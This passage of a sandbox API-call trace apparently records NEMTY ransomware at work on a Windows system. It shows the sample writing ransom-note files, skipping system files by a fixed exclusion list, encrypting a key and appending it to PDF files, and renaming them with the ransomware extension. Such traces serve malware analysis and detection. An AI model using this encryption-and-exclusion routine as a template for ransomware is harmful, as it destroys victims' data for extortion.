lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.905] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.905] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0171.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.905] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.906] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.906] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0171.907] CloseHandle (hObject=0x254) returned 1 [0171.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0171.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.907] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.907] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0171.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.907] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.908] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.908] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0171.909] CloseHandle (hObject=0x254) returned 1 [0171.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.909] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a1a93d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a1a93d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0171.909] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0171.909] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a1a93d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a1a93d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0171.909] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0171.909] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0171.909] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x26ca2, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0171.909] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".") returned 1 [0171.909] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="..") returned 1 [0171.910] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="...") returned 1 [0171.910] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="windows") returned -1 [0171.910] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.910] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="rsa") returned -1 [0171.910] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.910] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntldr") returned -1 [0171.910] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.910] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="IO.SYS") returned -1 [0171.910] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.910] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.910] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="AUTOEXEC.BAT") returned -1 [0171.910] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntuser.dat") returned -1 [0171.910] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="desktop.ini") returned -1 [0171.910] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="CONFIG.SYS") returned -1 [0171.910] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="RECYCLER") returned -1 [0171.910] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="BOOTSECT.BAK") returned -1 [0171.910] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="bootmgr") returned -1 [0171.910] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="programdata") returned -1 [0171.910] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="appdata") returned -1 [0171.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0171.911] Sleep (dwMilliseconds=0x5) [0171.925] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a1f5690, dwHighDateTime=0x1d561e8)) [0171.925] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a1f5690, dwHighDateTime=0x1d561e8)) [0171.925] GetLastError () returned 0xb7 [0171.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.925] GetLastError () returned 0xb7 [0171.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.926] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.926] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.926] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0171.926] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e5dc | out: pszString="G5AHJkAmM22wQruJNpm1wBfBM0DhyxwbFk6/NZoK0p0mOu/phOMytbKBPx1JOyGx\r\nePQRM9EBMNvv/Nvg4LsuzyT2NnWOkBhUOWE2JO8qxvzQZHL7mg987m589uwAmfHv\r\nTh52mJgSzk5UlQ9SK6AVzgUc36gOV1L+ZvU7gSn3IwWhiuEuqULYhMh6ELqWpazy\r\nxNOIum0GGsOyyQv54TeplYVomRyFG/Vt82LkxF5ItirpQmfkjrdBMBx9/NPxdq/4\r\nO0J3iGc2ePIzAo3gJhev0w87BuCimhfi/IQWEJfsuBil3k5Gv8RQ3Mk/vvtoUeUI\r\nZydkGikvJZbmkdQnnXsgNw==\r\n", pcchString=0x653e5dc) returned 1 [0171.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0171.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0171.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.926] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.926] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=158882) returned 1 [0171.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0171.926] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.926] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0171.935] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.935] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0171.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.936] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=158882, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26ca2 [0171.936] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340240*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340240*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.936] CloseHandle (hObject=0x3b0) returned 1 [0171.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0171.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0171.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0171.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0171.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.936] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\adobeid.pdf._nemty_kgobjgd_")) returned 1 [0171.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0171.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0171.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0171.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.939] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25d4a, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0171.939] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".") returned 1 [0171.939] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="..") returned 1 [0171.939] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="...") returned 1 [0171.939] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="windows") returned -1 [0171.939] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.939] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="rsa") returned -1 [0171.939] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.939] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntldr") returned -1 [0171.939] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.939] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="IO.SYS") returned -1 [0171.939] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.939] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.939] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0171.939] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntuser.dat") returned -1 [0171.939] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="desktop.ini") returned -1 [0171.939] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="CONFIG.SYS") returned 1 [0171.939] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="RECYCLER") returned -1 [0171.939] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="BOOTSECT.BAK") returned 1 [0171.939] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="bootmgr") returned 1 [0171.939] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="programdata") returned -1 [0171.939] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="appdata") returned 1 [0171.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.940] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.940] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 